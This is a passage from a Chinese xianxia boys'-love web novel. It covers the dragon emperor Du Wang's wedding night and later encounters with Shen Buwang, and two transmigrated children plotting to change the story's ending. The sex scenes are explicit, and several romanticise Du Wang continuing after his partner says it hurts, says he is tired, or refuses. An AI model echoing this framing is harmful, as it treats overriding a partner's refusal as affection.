“嗯?”渡妄不知道这事告诉那小孩,他为什么会开心。 此时他却不想让别人来打搅自己的好事。 鼻尖碰着鼻尖,他说话的声音很轻,道:“不是要结为道侣吗?” “嗯?”沈不忘应道。 渡妄道:“先教你第一件事,不要让任何人打扰我们的二人时间,此时,你心中该只有我。” 沈不忘愣了一下,应道:“做不到怎门办?” “……”渡妄被气笑了,这个时候就该骗骗他。 旖旎在气氛微散,渡妄道:“有人陪着小东西,你别担心。” “嗯。”沈不忘犹豫片刻,又问,“那我们现在做什么?” 渡妄哼笑着,在他耳边嘀咕了一句:“洞房啊。” “……” 此时此刻沈不忘算是明白了一件事,他确实很想睡他。 两个人很快在床上滚作一团,衣裳不知何时退去,他的吻不止于嘴唇脖颈,身上白皙的肌肤被留下红色的痕迹,他微微轻颤着,颇有些情动。 他比他的情况更激烈,到了最后一步。 沈不忘拧着眉头,手指抵着他的腰腹,艰难的咬牙道:“好疼。” “这么娇?”渡妄有些愕然,仔细观察了一下,未见什么不对。 大约是太久没有做过了,所以不太适应,在结界中厮混几十年,他跑了之后不知过了多久,大约五六年,毕竟那小孩都五岁了。 想到那孩子,心中的火便烧的更甚。 邪火掺杂了怒火。 “好疼,别碰我。”沈不忘不愿了,往后退去。 渡妄赶紧抱着他安抚着,亲亲他脖颈后的皮肤,呢喃道:“我轻点。” “你去练练……再说吧。”沈不忘眼睛还红红的,艳丽的唇瓣红的几乎可以透出血来,明明生着一双含情脉脉的眼,却说话这么冷。 渡妄咬牙道:“怎么练?你陪我。” “找你后宫嫔妃。”沈不忘扯过自己的衣裳。 他正要穿,便被人猛地一下扯了丢远,他附身上来,道了句:“等着,给你找个东西。” “……” 这一次顺利了不少,他虽还喊疼,更多的是舒服,偏偏某个家伙还一直在他耳边问他还疼不,让他叫。 越是这样亲密的时刻,他心里越是发空。 他的眉眼太美了,眼眶发红的样子,茶金色的眸子都泛起了涟漪,他偏过头不看他。 他偏偏作乱,让他不得不攀着他的肩膀,一遍一遍的逼问他:“喜欢吗?” “不……唔。”他就是嘴硬,可是亲上去嘴唇却如此柔软。 云消雨歇,怀里的人在他胸膛蜷着,墨色的长发被汗湿黏在脸上,他双目闭着,脸上鼻尖上都透着红。 渡妄将软膏重新放回空间戒指中,还用得上。 他搂着怀里的人有些心猿意马的想着,之后他们就是道侣了。 那是不是意味着以后可以玩点不一样的?即便在封印里那几十年,两个人双修时大部分时候都混在一起,可沈君钦却总是不满他,责令他不许这样不许那样,亲他也不行摸他也不行,双修的姿势十分固定,就算再动情的时刻都不会叫出来。 这一次算是难得水乳交融的时候,以后是不是可以…… 渡妄乱想着,愈发激动,忽然问道:“我可以用原型跟你做吗?” 沈不忘身上有些不适,眼睛尚未睁开,顺着他的话问道:“你原型是什么?” “你等着。”渡妄松手。 沈不忘幽幽睁开眼,冷冷的眸染上了尘世的情,冷漠亦变得动人。 渡妄就在床上大变活人,变成了一条威风凛凛的龙,因为原型太大了,差一点顶破了宫殿,只能变换成小一点的,盘在床上,这是一条黑龙,浑身鳞片都散发着光泽,沈不忘坐在他旁边显得十分渺小,光洁的身体也被衬的十分白皙。 这龙盘着沈不忘,硕大的眼睛盯着他,口吐人言道:“帅吧,这就是我的原型。” “你是龙?”沈不忘有些诧异的问道。此时他想到了什么,戚宝小时候也会变成龙,是一条小金龙,缠着他的手腕,小小的金龙嗷嗷叫:“爹爹,我打结了,爹爹,救我。” 戚宝小时候还经常控制不好自己,有时候就露出一个尾巴,捂着小屁股回来,惊慌失措的喊道:“爹爹,看我,看我。” 眼前的黑色魔龙十分威风,就算此处宫殿很小,他只能变成万分之一大小,也十分好看,沈不忘伸手碰了碰他的脸颊,渡妄十分配合的将脑袋垂下来,在他手上蹭了蹭。 渡妄见他在自己龙鳞上摸了摸,似很喜欢的样子,立即得寸进尺的说道:“你看下面。” “什么?”沈不忘下意识的朝着下面看去,看到他身上有一处伤,似乎掉了鳞片,正想去触碰。 渡妄又说:“不是这里,看我,有两根。” 沈不忘:…… “威不威风,帅不帅气,我变成原型的时候还有两个哦,下次可以来试试,包你双倍爽。”龙脸上看不清什么表情,语气却十分得意洋洋。 沈不忘原先还不知道两根什么,这话一出,他便知道了。 “……”这人脑子里都是这些对吧。 沈不忘本想沉默以对,随即感受到了他盘着自己的腰,又开口明确拒绝道:“不要,很奇怪。” “那等你爱上我了,可以接受这个样子跟你做吗?”渡妄不死心的问道。 沈不忘沉默了片刻,打量着他的龙身,道:“或许会吧。” “好啊,到时候我两X都要放进去。”渡妄桀桀怪笑。 沈不忘不想理他了,打算穿了衣服离开,渡妄赶紧变回人,抱着他的腰让他别走,哪有洞房把夫君抛下走人的。 “我们不是做完了吗?”沈不忘也不清楚洞房做完了,还要做什么,为什么不能走? “谁说做完了?我还没有好了。”渡妄赶紧把这人扑倒,狂亲不止,“我们先预练一下洞房,免得你在我们好日子还跑了。” 沈不忘对这条银龙有点无语, 渡妄就是不让他走,把他弄脏。 他很喜欢水,在宫中的灵泉里便成了龙。 沈不忘喝了些酒,脸上红红的,趴在水池边缘假寐。 渡妄看着他的模样,背后全是吻痕,半腰在水里,墨色的长发披在肩头,他游到了他身侧,长长的尾巴盘在他的腰上。 “变回去。”两X抵着他了。 渡妄变回了人,将他抱到自己的怀里,坐在他的腿上,一边咬着他的耳垂,道:“我们再来一次。” 沈不忘幽幽睁开眼睛,在水里两个人结合了,今晚他已经缠着自己一晚上了,这已经是第五次。 他问:“可以停下吗?我累了。” “不要,我还不累。”渡妄哑声道。 沈不忘只能打起精神来应付他,后半夜,他休息了,半梦半醒的时候,他还伏在他身上,好似他根本就不需要休息一般。 一晚上吃了个饱,早上还打算继续,沈不忘却说什么都推开他,说要去找儿子了。 渡妄听到沈不忘说儿子,假装不在意的问了句:“哎呀,我们都要成亲了,我还没有见过云戚的娘了?不需要通知她吗?” “不记得了。”沈不忘如实回答。 渡妄的笑容绿油油的,显然不信,道:“你也别这么防着我,我只是担心以后云戚的娘又回来找你,你总不能一夫一妻吧?我也不是想要杀了她,我不是这么小气的人。” 沈不忘看了他一眼,目光极深,像是一眼便能看穿他内心最深处的隐秘一般。 渡妄嬉笑一声,嘀咕道不说就算了。 沈不忘离开后,他目光变得十分冷沉。 沈不忘不愿意说,那个小崽子总比较好骗,他决定从沈云戚身上下手,势必要找到那个勾引他的人。 他们两人厮混的时候,两个小崽子已经拷问完了谢明堂。 谢明堂最终割地赔款,奉上一捆冰糖葫芦,还要报销他们十年的游玩支出,以及给一百顿烧烤,还写下了合约,按了手印才放他离开。 谢明堂一脸倒霉相,被烧的乌漆嘛黑,破破烂烂脏兮兮的回到了自家府上,还差一点被当做乞丐。 戚宝确定谢明堂走人了,托着下巴良久,抬眸正对上贺兰忱的眼睛。 四目相对,戚宝问道:“谢明堂是好人吗?” “没有他的戏份。”贺兰忱心照不宣的回答。 戚宝换了问题,道:“那我爹……会死吗?” “不会。”贺兰忱继续回答。 “两个都不会死?”戚宝继续追问。 贺兰忱:…… 贺兰忱沉默下来,皱着眉头不知在想什么。 戚宝有些泄气的托着下巴,道:“怎么会这样?真的一定要死一个吗?” 贺兰忱道:“不是死了,没有结局,故事本就没有结局。” “额。”戚宝一言难尽的看着他。 贺兰忱被他盯得有些不自在,勉强的解释道:“你也知道的,这个小说是那什么……我也不是什么变态,我干嘛要研究那么透彻啊?” “你还不变态吗?骗我看!!!”戚宝怒了。 贺兰忱:…… 贺兰忱沉默了。 戚宝也沉默。 贺兰忱忽然想到了什么,恍然大悟道:“我知道了,原来因为这个所以你一直不跟我相认,搞得我经常怀疑自我,以为你真是个小屁孩了。” “哼,你认不出我,那是因为你菜,我就不一样。”戚宝有些得意的扬了扬下巴。 “怎么不一样?”贺兰忱挪了挪屁股,坐到戚宝的身边。 戚宝正要说我一眼就认出了你,却又觉得此话十分不对劲,便又说起关于这个世界的剧情,互通有无。 戚宝有十分多的问题想要问贺兰忱,第一个问出的还是自己最关心的事情:“我爹,真的会不要我吗?” “小说虽然是这么写的,但是你为什么要信这个?”贺兰忱说道。 戚宝顿时萎靡不振了,耷拉了眼角,看上去像是可怜的小狗狗,无家可归的样子。 贺兰忱又说:“不过你爹很爱你,他是抱着必死的决心的,会在决斗的时候让着你杀了他。” 戚宝眼睛一亮,随即又说:“那他岂不是历劫失败了吗?他会因此死掉吗?” 贺兰忱拍了拍他的脑袋,说:“你想什么了,你根本打不过你爹,你爹就算让着你,你也打不过。” “那怎么办?”戚宝心一慌问道。 贺兰忱拍了拍戚宝的肩膀,安慰道:“不要紧,你虽然菜,但是你对象很厉害,会帮你。” 戚宝瞥了贺兰忱一眼,不屑道:“我跟我爹又没仇,报什么仇?” “哦,那你不好奇你对像是谁吗?”贺兰忱凑近戚宝,问道。 戚宝斜眼看他,两个人此时凑得很近,目光在空气中交汇。 贺兰忱漆黑的眸子中带着笑意,一看就是不怀好意。 “是谁都无所谓,都是小说里的剧情,我现在只想当我爹的乖宝宝,幸福的跟我爹在一起。”戚宝往后一靠。 贺兰忱看着戚宝的肉嘟嘟的小脸,原来戚宝小时候也长得这么可爱。 “真好啊。”贺兰忱由衷的感慨了一句。 戚宝瞥他一眼,问道:“好什么?” 贺兰忱笑看他,漆黑的眸子亮晶晶的。 这一次我可以陪你一起长大。 “乖宝宝,真可爱。”贺兰忱伸出两只手,捏着他的双颊。 戚宝愤怒的起身,打开贺兰忱的手,“你踏马再对我动手动脚,我就叫我爹打你!” “爹宝男。”贺兰忱嗤笑道。 贺兰忱之前不断的怀疑戚宝到底是不是颜池,一大部分原因是他与现世的他性格很不一样,现世里的他冷酷沉默,这里的他却如此活泼灵动,真的像是个四五岁的小孩子,偶尔透出一些与年纪不符的聪明,让他摇摆。 原来是这样啊,他在这里有家人有爱,被爱意包围的小流浪,疯狂的长出了血肉。 他不是生来就冷漠。 现世里的他从小就要为活着而努力,他是没有童年的,在这个书中的世界,他在家人的爱里面重新长大了,他找回了自己的童年。 戚宝龇牙咧嘴的揉了揉脸,毫无偶像包袱,他抬脚踹了一下贺兰忱,询问:“你在小说里是什么角色?我都没有在文里看过你,你戏份多吗?” “嗷,小说开始的时候,我已经上仙山修行了,我是废柴逆袭龙傲天,我可是主角。”贺兰忱得意的说道。 小说开局戚宝10岁,他12岁,早就被月宫的照影宫主带走了,在秘境中历练,背负着国仇家恨。 戚宝若有所思的看了一眼贺兰忱。 贺兰忱以为他不相信,就说:“真的,我骗你干嘛?我是七皇子,天才根骨,妖魔入侵帝国,我被驱逐,背负着复国的重任,这是废柴逆袭,爽文懂吗!” “我没有不相信,只是……”戚宝将自己的怀疑说出来,“前半段的主角显然是我爹爹们,为什么后半段的主角会是你?我觉得我至少也是个主角。” 贺兰忱憋了一下,没有吱声,不得不说戚宝真相了,戚宝确实是个聪明的人。 不过他没有顺着戚宝的话下去说原文剧情。 好在戚宝对贺兰忱的剧情不好奇,也不打算问,他并不想给贺兰忱装逼的机会,按照废柴逆袭的龙傲天剧本,大概率就是开后宫的剧情。 这不美死他了! 戚宝继续问他爹有关的事情,道:“那你说我们有可能改变我爹们互相残杀的故事结局吗?” “既然故事没有结局,那结局就由你来写。”贺兰忱一双眸子透着不属于他的成熟和睿智。 戚宝微微动容,心道,没错,我来这个世上就是为了改变命运的。 第54章 两个小家伙虽然没有任何修仙的经验, 不过他们机灵。 贺兰忱皱眉思索片刻,道:“只是我们要深入了解一下修仙的功法,看看放弃无情道会不会有什么危害。” 戚宝连连点头, 道:“没错, 不过当务之急, 就是要让我两爹离得远一点。” “你还真是棒打鸳鸯,你歧视男同啊?”贺兰忱撇了撇嘴, 阴阳怪气。 戚宝扶额,一脸无语道:“我爹又不喜欢渡妄, 又不是两情相悦的,算什么?” “谁说所有感情刚开始就是两情相悦的,难道不能喜欢了再追求吗?”贺兰忱不服气,杠精上身。 戚宝无所谓耸耸肩道:“那也要追的到啊。” 贺兰忱倒是不说话了。 戚宝瞥了贺兰忱一眼,又问道:“那你有喜欢的人吗?” 贺兰忱立即解释道:“没有, 绝对没有。” “哦, 是这样吗?”戚宝点点头,转而又说,“可是我记得你在无相寺的时候,好像说过有喜欢的人。” 贺兰忱:…… 两人四目相对,气氛有些许胶着。 沉默, 又是沉默。 所以话不能说的太满,有时候某些话自己都忘记了,对方却记得。 贺兰忱沉默了片刻,轻咳了一声,戚宝竖起耳朵听他说什么,本以为他会解释一番,便听贺兰忱又说:“其实我不确定你爹有没有杀了魔神, 因为神明是不会轻易被杀死的,只有毁灭他的神格才可以。” “什么魔神?”戚宝点点头。 贺兰忱给戚宝科普了一番这个世界的基础设定。 大千世界六界众生分为,神界,仙界,人界,魔界,妖界,冥界,每一界都有自己的修炼法则,最终目的都是修炼成神。 在千百年前,人间第一个修炼成神飞升上界之人便是修的无情道,后因神界倾覆,天柱被毁,通往神界的途径彻底断绝。 “所以现在修真界是无法飞升了,只能在这个小世界里争夺资源。”贺兰忱解释道。 不过魔界却出了魔神,他是生来便具有神格,成了这个世界唯一的真神。 戚宝惊讶道:“那魔神是……” “对,你猜的没错。”贺兰忱点点头,两个人交换了眼神。 戚宝又说:“我还以为他是魔尊了。” “Nonono,魔尊就是魔族的皇帝,就跟我父皇一样是人皇,不过区别在于魔族生来具有魔力,力量比人强一些。”贺兰忱解释道,“魔尊也是他没错啦。” 戚宝点点头,道:“无尽海域那个堕神修的不就是天柱吗?会修好吗?” “可能会,可能不会。”贺兰忱说。 “讲话模棱两可的,你好装啊。”戚宝托在腮帮子,气鼓鼓的说道。 贺兰忱看着戚宝鼓鼓的肉肉的小脸,伸出魔爪,捏了一把。 哇,触感好好! 戚宝啪的打开他的手,恶狠狠的问道:“你干嘛?”小奶音毫无威慑力。 贺兰忱似乎对捏戚宝的脸产生了异样的执念,总是出其不意的捏。 戚宝揍了他一顿,贺兰忱一点脸都不要,一只手捏还不得劲,双手齐下,又捏又揉,欺负小孩上瘾。 戚宝不是他的对手,一边喊一边跑,贺兰忱就在身后追他。 皇宫大内,瞬间成了两小孩追逐打闹的游乐场。 正是初夏,御花园里的花正开的灿烂,池塘里的荷花也一夜绽放。 两人跑得满身大汗,乐此不疲的追逐着,穿过回廊时,转弯处撞上了一人。 戚宝力道很大,对方被他撞得后退了几步,他自个儿摔了个屁墩,跌坐在地上。 戚宝抬脸一看,发现是他爹。 身后的贺兰忱也追到了,戚宝立即爬起来抱着他爹的腰,躲在他身后,道:“爹爹,救我。 贺兰忱看到沈不忘,立即停住了脚步,乖乖问了声好。 戚宝从沈君钦身后探出半个脑袋,冲着他做了个鬼脸。 “沈叔叔,我跟戚宝闹着玩的。”贺兰忱老实解释道。 沈不忘也看出来了两个小孩是闹着玩,便问道:“你们昨晚睡得好吗?” 戚宝点点头,应道:“怎么了?” 沈不忘思忖片刻,打算将自己要跟渡妄结为道侣的事情告诉戚宝。 “哟,两个小东西,在宫里吵吵闹闹的,成何体统。”渡妄神清气爽的走来,脸上难得带着爽朗的笑容。 戚宝沉着脸盯着他,然后眼睁睁的看着让走到沈不忘身边,顺势牵住了他爹的手。 牵住了,就这么大张旗鼓的牵住了。 戚宝看了一眼他爹,又看了一眼渡妄。 那厮似乎意识到了小崽子在看他,挑眉,表情极其嚣张挑衅。 戚宝立即撞开他们两人,物理意义上的破坏两个人牵手,随后小手牵住沈不忘的大手,此行径在贺兰忱看来十分幼稚,不过也分外的可爱。 “戚宝,我有件事要跟你说。”沈不忘对戚宝道。 戚宝想了想,问道:“是好消息吗?” “嗯,你肯定会开心的。”沈不忘温声道。 戚宝立即拿出气死渡妄的姿态兴奋问道:“爹,你找到我娘了吗?” 沈不忘:…… 戚宝猛地抱住沈不忘的腰,一脸开心的说道:“太好了,我们一家三口可以团聚了。” 沈不忘下意识的看了一眼渡妄。 渡妄脸色阴沉沉的,转而又展露出了笑意,道:“我帮你爹找你娘好不好?你来说说你娘长什么样子。” 沈不忘:??? 戚宝坏坏的想着,一定要跟这坏东西说一个肯定找不到的人,一边应下:“好啊。” “那我去找来画师,你一边说我一边让人画。”渡妄热心肠无比。 “好的好的。”小家伙点头如捣蒜。 渡妄阴恻恻的笑着,心里不知在想些什么。 沈不忘看着前面手牵手一大一小,一唱一和的准备找画师画像了,欲言又止,心情复杂。 全城找了十位丹青妙手,外加三十位以画著称的赶考学子,以及几位年轻时画技一绝的大臣,全都被召集来宫中,来绘制一位女子相貌图。 据说这是皇帝要找的人,无论相貌还是才情都是万中无一的,这一画画了有十日,改来改去,终于改出了一副天上天下都寻不到一位的仙女图谱。 画作成时,绘制的举人眼睛都直了,看着画中的女子,目光发直,像是被勾了魂一般露出痴迷的神色。 戚宝已经监督画了好几日了,经常画出来还会提出一些意见修改,改来改去,反正就是要对方画出一个绝世大美人,这个世上绝对找不到的人。 不过被折腾了这么多天,此时他也没什么力气了,此时正趴在他爹腿上昏昏欲睡。 那举人看着画中人眼中充血一般,忽然大喊一声,抱住了画中人道:“仙子,你是来带我走的吗?” 渡妄一挥手,让侍卫将那举子拖走,那举子去大吵大闹的不让他们分开自己,一边喊道:“仙子,不许你们分开我和仙子。” “……”戚宝被吵闹的声音吵醒了。 渡妄直接使了个法术,让那举子昏了过去,随即又将戚宝从沈不忘怀里提起来,像是拎小狗一样,让他看最新那幅画。 戚宝盯着画中的人顿时瞪大了眼睛,难以置信。 这幅画是改过不下十遍的,画中女子出尘绝艳,一身白色的长袍,手执通体碧玉的长剑,眉眼如画,飞眉入鬓,不是正面的容颜,可以看到长长的睫毛挡住了眼底的瞳孔,此女子面如冷玉,唇如花瓣,却美的不可方物。 跟沈不忘有那么七八分相似。 “我靠,这人怎么这么眼熟?”贺兰忱也凑过来看,惊讶的看向戚宝。 渡妄也下意识的看向沈不忘,随后恨不得拎起那举人揍一顿,让他画沈云戚的娘亲,竟然悄悄觊觎他的人,还让他穿上了女装。 “真是,乱画什么?让你画我娘,你画我爹做什么!差评,0分。”戚宝有些生气,拿起朱红的笔在画上的人眼睛上横了一笔。 这他描述的根本不一样,简直胡乱画一通。 沈不忘表情冷淡的扫了一眼那画,意识到渡妄在看自己,显然从他眼底看出不忿的情绪,道:“这画的不是我。” 贺兰忱默默看了一眼戚宝,那人不是沈不忘,倒是跟沈云戚长大的时候一模一样。 现世里他们已满十八,颜池便是长得这样,生的十分好看,不辨男女,穿上古风女装应该就是这样。 渡妄又提溜着戚宝去别的画师那边看,其他人都是按照他的描述画的,但是每个人对美如柳叶,眸如杏核,鹅蛋脸等等描述有些许差距,加之审美和五官比例的问题,大家画出来的东西都有些不同。 戚宝最后选中了一副看上去最好看的仙女图,得到了他的认可,道:“这个最好看。” “你还挑上了?”渡妄觉得自己可能被耍了。 戚宝眼珠子滴溜溜的转,一看就在打坏主意,立即改口道:“这就是我娘!” 渡妄又看了一眼沈不忘,想要看他怎么说,这人是否他人间的情缘,是不是有过一段情? “去找吧。”戚宝开开心心的说道,终于可以休息了。 戚葆拉着沈不忘离开,一边说道:“我终于可以睡个好觉了。” 渡妄看着那幅画半响,还是让人张贴下去寻人。 回到自己的院子里,有假山有池塘,是宫中内务专门收拾出来的一处宅子给父子两住的。 戚宝浑身透着得意的小情绪,像是干了坏事却没有被主人发现的小猫,若是有尾巴肯定翘的高高的。 “对了,爹,你前些日子要跟我说的事情是什么?”戚宝这几天忙着搞破坏,都好几天没有跟爹好好聊天了。 自然要跟他说,他要跟帝王结为道侣的事情,不过这几日看下来,小家伙似乎不是很喜欢他啊。 沈不忘沉思了片刻,问:“你是不是不喜欢贺承元?” “一般吧,你都不知道他对我好差好差,你不在的时候他就欺负我,还骂我!”戚宝双手叉腰,十分生气。 沈不忘倒是第一次听说这事,仔细询问:“什么时候的事?” “就是那天捉鬼的时候,他把我这么拎起来,然后往地上一丢,还说我是没用的东西……还要把我丢在坟地……”说起那天晚上的事情戚宝就来气,越说越愤怒,最后脸都涨红了,一边道,“有这样的人吗?我只是个小孩子,我要是修过仙,我肯定嘎嘎乱杀,对了爹,你什么时候开宗立派啊?我要当你首席大弟子。” 沈不忘见他说了一通,给他倒了杯水,戚宝吨吨吨喝了一大口,擦了擦嘴边的水渍,又说:“反正他太坏了,等我找到我娘,我们就离开这。” 沈不忘垂眸看着戚宝,戚宝眼珠子转了转,又说:“找不到我们就换地方找,反正就是要走。” 之后他又说了一些渡妄的坏话,反正就是发泄情绪,也没有说出他究竟多坏。 等到情绪发泄的差不多了,戚宝就好了。 此时,门外传来了贺兰忱的呼唤唤:“戚宝,我们去踢球。” “来咯。”戚宝小跑着,跑了半天发现自己没有动,回头一看发现沈不忘正提着他的衣领。 戚宝宛如被拿捏住命运的后颈皮的小猫,跑不出他爹的手掌心。 戚宝:??? 沈不忘松手,道:“别乱跑,注意安全。” 戚宝应了声好,撒手没。 夏日的天气比帝王变脸还快,早上还是晴空万里,不一会儿便乌云密布,沈不忘沏了杯茶坐在窗台前喝茶。 院子里的草木格外兴盛,他不知想到了什么,微微有些失神。 等到回过神来,屋子里便多了一人,脸上带着笑。 “在想我吗?”渡妄问道。 沈不忘淡淡的放下茶杯,反问道:“你真的要去寻那画中人?” “为何不?”渡妄反问道。 沈不忘幽幽的叹息了一声,道:“小孩子胡闹,你竟也跟着闹。” “哦?”渡妄挑挑眉。 沈不忘坦白道:“戚宝去年丢过魂,记忆有损,说的话当不得真。” 渡妄皮笑肉不笑:“他的话作不得真,那她长什么样子,你总该记得,你倒是说说看。” 沈不忘抬眸看他,蹙紧了眉头。 渡妄欺身上来,单手支在窗台上,问:“不是要跟你儿子说跟我结为道侣的事情,怎么还不说?”?“……” “从我说要给小崽子找娘亲开始,你就动摇了,对吗?”霸道的帝王又开始无理取闹。 沈不忘不想跟他多说无意义的话,抬手想推开他,道:“并不。” “那你为什么不说?”渡妄咄咄逼人,偏要他说出个子丑寅卯来。 沈不忘沉眸看他,推不开他,他竟直直坐在他的大腿上,一只手捏着他的下巴,一只手环着他的腰,沉冷的眸子看着他:“夜里也不去找我,打算让我独守空房吗?” “……” 见他继续不说话,渡妄又说:“你都跟我睡了,还不说,难道要等怀上才说吗?” 沈不忘倒一口凉气,蹙眉道:“你胡说八道什么?” “什么?那晚上的事情,不记得了吗?”渡妄凑近他的唇瓣,说话时几乎贴在他的唇上,问道,“那晚你不享受吗?” “没。”沈不忘冷冷的说道。 渡妄默了一下,气氛凝滞,天外响起一道雷声,倒显得有些应景。 “那我再努努力,你喜欢什么样,我都满足你。”渡妄不依不饶,双手撑在他腰边两侧,说道:“只要你满意,想我怎么弄你都行。” “我不想要。”沈不忘偏过脸去,躲过了他的吻。 渡妄的唇贴在了他的脸上,便听沈不忘又说:“你脑子都是这些事情。” “我脑子里想的全是你,以前你要同我双修的时候,可是一刻都不让我离开你的身体。”渡妄油嘴滑舌,见他脸颊有些泛红,心中欢喜,他虽对他依旧冷冷的,却与以前有了很大的变化。 渡妄揽着他的腰,将他拉进自己的怀里,沈不忘推了推他的胸口,“你离我远一点。” “不要,我们两情相悦不好吗?为什么总是推开我?”渡妄认真的问道。 沈不忘:“谁跟你两情相悦?” “你呀。”渡妄笑嘻嘻,“别跟我如此生分,说好了跟我结为道侣,可不能再后悔。” 沈不忘不知该回他什么,沉默不言。 渡妄又说了一句:“怎地你才像那个只想睡我的人?” 他就像个丢了清白身,硬要负心汉负责的傻愣子一样,分明说狠话的人是他,为什么最后主动权又在他的手中? 真是太奇怪了。 皇帝之位好得,魔界之主易当,可是要成沈君钦的道侣,却好难好难! 分明是他说想要当道侣的,怎么一点都不上心? 沈不忘抬眸便对上他近在咫尺的眼睛,眼底染着笑意。 他试探着凑近,欲拒还应的在他唇上轻轻点了一下,暧昧旖旎,沈不忘抬了一下脑袋,大概有些像是索吻的意思,并不抗拒他的接近。 偏偏某位言辞狂浪之人矜持的后退了一下,沈不忘疑惑的看到他眼底的坏笑,吻便落了下来。 雨说下就下,倾盆落下。 戚宝跟贺兰忱尚未走到校场,便被这一场大雨给劝退了,站在屋檐下看着哗哗的大雨,顿觉十分扫兴。 本来就是个娱乐不发达的古代,下雨天也没什么事情可做,一旁候着的小太监问道:“殿下,公子,要不咱们去玩投壶?有彩头的。” “什么彩头?”戚宝来了兴趣。 小太监笑嘻嘻的解释着,戚宝一听,顿时没兴趣了,意思是太监宫女陪他们一起玩,可以让他们骑着在地上爬,太监宫女拿点赏银。 贺兰忱也摆摆手道:“这有什么好玩的?不如出宫玩去。” “我让我爹带我出宫去。”戚宝觉得贺兰忱说的有道理,小跑着往回去了。 贺兰忱着急忙慌的追上去,一边喊道:“喂喂,你别跑那么快啊。” 一路上都有躲雨的屋檐,戚宝倒是没有淋到雨,跑回院子的时候,他喊了一声,不知是不是错觉,他听到屋子里传来“砰”的一声,像是什么倒在地上的闷响。 雨声有些太大了,所以听得不真切。 戚宝推开房门,看到的便是他爹从茶桌旁起身走来,神色从容淡雅,询问道:“怎么了?” 声音有些哑哑的,听得人耳朵微微发痒。 戚宝呆呆的忘记自己想说什么了,因为地上还躺着一个人了,他爹竟然毫不留情的直接踩在他身上走来,一脚在□□,一脚在胸口,走得那叫一个如履平地。 戚宝忽然遥想到了去年,这人被他爹刚刚捡回去的时候,他爹一拳把人打晕了,床都干折了,现在是不是……在帮自己报仇啊? 他刚刚说了坏皇帝很多坏话,他是不是说的有些过分了?所以他爹记恨了这人? 戚宝略带为难的看着看着地上的男人,地上的男人一脸要死的表情,露出几分心疼的神色。 渡妄意识到小崽子在看自己,凉凉的目光看向他,颇有些怨怼的情绪,都怪你这小子坏我好事。 对上小家伙心疼的小眼神,忽然心头火气一消,莫名的情绪弥漫在心头。 这小孩似乎也没有那么讨厌。 “爹,他怎么了?你还是别打他了。”戚宝不忍的替他说说情。 他想要改变两个人的结局,而不是让他们关系变得更差。 沈不忘凉凉的扫了他一眼,道:“他没事,我们出去说。” “哈哈,我能有什么事?你这小崽子少担心我。”渡妄从地上爬起来,拍了拍衣上的灰尘,胸前的脚印根本拍不掉。 渡妄装若无事的离开,临走时还跟沈不忘交换了个眼神。 戚宝看他走路姿势有些奇怪,不像是没事的样子,显然只是要面子,搞不好已经被打成了内伤。 好可怜。 这一场雨一直下到了晚上,夜里蝉鸣蛙声一片。 戚宝半夜醒来的时候发现他爹并不在屋子里,不过也未多想,翻了个身继续睡。 天元殿里,渡妄拉着他的手,一边愤愤道:“命根子都被你踩断了。” “真的断了?”沈不忘低声问道,似有些不确定。 第 55 章 助兴 戚宝去而复返的突然, 两个人又在房中吻得正是激烈时,若是让孩子看着,多半会留下什么不好的阴影。 当时渡妄还是保持着坐在他腿上的姿势, 搂着他的腰, 压着他的脑袋, 沈不忘一起身,他便摔倒在地上, 随即戚宝便进了屋子,沈不忘看到他那处有些不雅观, 一时不知如何是好,就踩了上去。 不过这处确实比较脆弱,当时是他没有想的周全。 沈不忘有些理亏,面色有些不自在的看他,渡妄依旧是那副不满的样子, 把玩着他的手, 道:“踩断了亏的是你。” 看来真的是断了。 沈不忘使了些力气,想要抽回手,满脸不自在的说道:“……你不是有两个吗?” 言下之意便是断了一个也没事,反正还有一个,反正他不亏。 渡妄真是被他气笑了, 这人怎么每次都能说出这样凉薄的话,当真如他说的,不知爱为何物。 “你帮我吹吹。”渡妄要求道。 “吹吹?”沈不忘不明所以。 渡妄拉着他的手往他腰下探去,黑沉沉的眸子带着钩子一般,又充满了侵略性的盯着他,反应过来他说什么,便要将手抽回来。 “不要。” “那摸摸。” “断了有什么好摸的?”沈不忘依旧拒绝, 今晚就不该过来关心他。 渡妄偏偏不依不饶,翻身将他压在榻上,一边拉着他的手去触摸,边解释道:“没有断,伤了,你摸摸就好了。” “……” 沈不忘忍了,指尖碰到了一团火般的温度。 “嗯,对,碰碰它,它很喜欢你。”渡妄说话的声音就在他耳边,低哑醇厚深沉。 “……” 起初是被他连哄带骗帮忙的,后面则是被他压着逃不了,被他压着半个时辰后,手都酸了,才堪堪帮他解决了一次。 这事比他练剑还累,费胳膊。 等他觉得终于搞好可以离开了,那人又死皮赖脸的说要礼尚往来,替他也弄一下。 沈不忘一巴掌啪在他的脸上,冷漠的拒绝:“不用。” 嘴上说着冷漠的拒绝的话,神色却不似以往的冷漠样子,脸颊上染着淡淡的红晕,眼尾也似哭过一般带着水雾,刚刚被他情动时抱着又亲又啃的嘴唇也微微发肿。 渡妄握住他的手腕,亲吻着他的掌心,咬着他的指尖。 他微微颤抖着,十分情难自禁般的蜷着指尖,听到了帝王的轻笑声,沈不忘恼了,狠狠地瞪了他一眼,道:“你骗我!”那什么根本没有断。 他这瞪了渡妄一眼,因为生气而更显生动的脸不像在拒绝,反倒勾人的很。 “你生气的时候更好看。”他凑上去亲他的脸。 “……” 两个人在榻上耳鬓厮磨了一夜,虽未如那夜一眼,却缠绵了不少,不觉得疼,倒是舒坦。 事后,沈不忘盯着格窗看着,外面已经不全然是黑色,天边已经泛起了鱼肚白,些许天光将窗户照亮。 他竟然在这里跟他鬼混了一夜,腰间有力的手臂正将他往怀里带。 沈不忘掰开他的手,道:“我要回去了。” “……” 他起身穿衣换鞋袜,坐在床沿,不疾不徐的将披散的头发从衣服里拿出来,露出细长的白皙的脖颈,上面有一颗小小的红痣。 渡妄起身,搂着他的腰,低头在他脖子上亲了亲,舌头舔舐着他的肌肤,引得身下的人轻轻颤抖着。 “别……”沈不忘微微蹙眉。 他的拒绝让身后的人越发用力,在他脖子后留下一个红痕,不会很快就消失的痕迹。 他在用自己的方式在他身上留下印记。 “会被看到的。”沈不忘咬牙道。 渡妄嘻嘻笑着:“怕什么,不是道侣吗?” 沈不忘汲气不言,便听他又说:“把小崽子送去宗门学习,免得没眼力见,一天到晚就惹你分心。” 此话一出,渡妄看到他深深的剜了自己一眼,那一眼极深,似真的生气动了杀意,不过顷刻消散。 沈不忘起身系好腰带,道:“不需要,我会亲自教导他。” “哦好。”渡妄肆意的坐在榻上,托着下巴沉思着。 